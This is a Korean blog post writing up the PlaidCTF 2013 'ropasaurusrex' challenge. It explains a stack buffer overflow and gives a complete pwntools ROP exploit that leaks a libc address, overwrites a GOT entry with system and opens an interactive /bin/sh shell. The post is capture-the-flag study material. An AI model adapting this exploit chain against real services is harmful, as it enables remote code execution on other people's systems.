ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • PlaidCTF 2013 ropasaurusrex
    Pwnable/CTF 2017. 2. 11. 20:55

    실력이 너무 부족하다보니 그나마 쉽다고 생각되는 CTF 문제들부터 풀어봣다.




    느낌이 온다..




    함수 이름은 임의로 직접 정한것

    버퍼 사이즈는 136인데 .. read 함수로 256만큼 입력을 받는다. (스포를 해보자면 write 함수로 leak을 한 다음에 오프셋을 구해서 공격하면 된다)


    main 함수 사진까지 올릴필요는 없다 생각해서 한줄로 적었다. -> return write(1, "WIN\n", 4u); <- 이 write 함수 를 이용하여서 memory leak을 할 수 있다.






    Exploit Code (원래 같으면 같이 바이너리와 포함되있는 libc.so.6로 오프셋을 구할 수 있지만 난 로컬로 풀었기때문에 서버쪽에서 오프셋을 얻어온다음에 그것을 이용하여서 풀었다)

    -------------------------------------------------------------

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    from pwn import *
    import time
     
    r=remote('192.168.146.155',9001)
     
    write_plt=0x0804830c
    write_got=0x08049614
    bss=0x08049628+0x30
    read_got=0x0804961C
    p3r=0x080484b6
    read_plt=0x0804832C
    read_system_offset=0x9ae80
    shell="/bin/sh"
     
    print "Exploit and Memory leak"
    payload="\x90"*140
    payload+=p32(read_plt)
    payload+=p32(p3r)
    payload+=p32(0)
    payload+=p32(bss)
    payload+=p32(len(shell)+1)
     
    #Memory leak start
    payload+=p32(write_plt)
    payload+=p32(p3r)
    payload+=p32(1)
    payload+=p32(read_got)
    payload+=p32(4)
    #Memory leak End
     
    payload+=p32(read_plt)
    payload+=p32(p3r)
    payload+=p32(0)
    payload+=p32(read_got)
    payload+=p32(4)
     
    payload+=p32(read_plt)
    payload+=p32(0xaabbccdd)
    payload+=p32(bss)
     
    r.sendline(payload)
    time.sleep(2)
     
    r.sendline(shell)
     
    read_libc=u32(r.recv(4))
     
    print hex(read_libc)
    system_libc=read_libc-read_system_offset
     
    print "LEAK : System addr: "+hex(system_libc)
    time.sleep(1)
    r.sendline(p32(system_libc))
     
    r.interactive()
    cs


    ------------------------------------------

    로컬로 풀어보는데 쉬운문제 같다. 

    'Pwnable > CTF' 카테고리의 다른 글

    PlaidCTF 2014 EZHP  (2) 2017.03.10
    codegate 2017 messenger  (1) 2017.03.08
    WITHCON malloc  (0) 2017.03.03
    Codegate 2017 baby_pwn  (0) 2017.02.20
    Codegate2014 Angry_Doramon  (0) 2017.02.14
Designed by Tistory.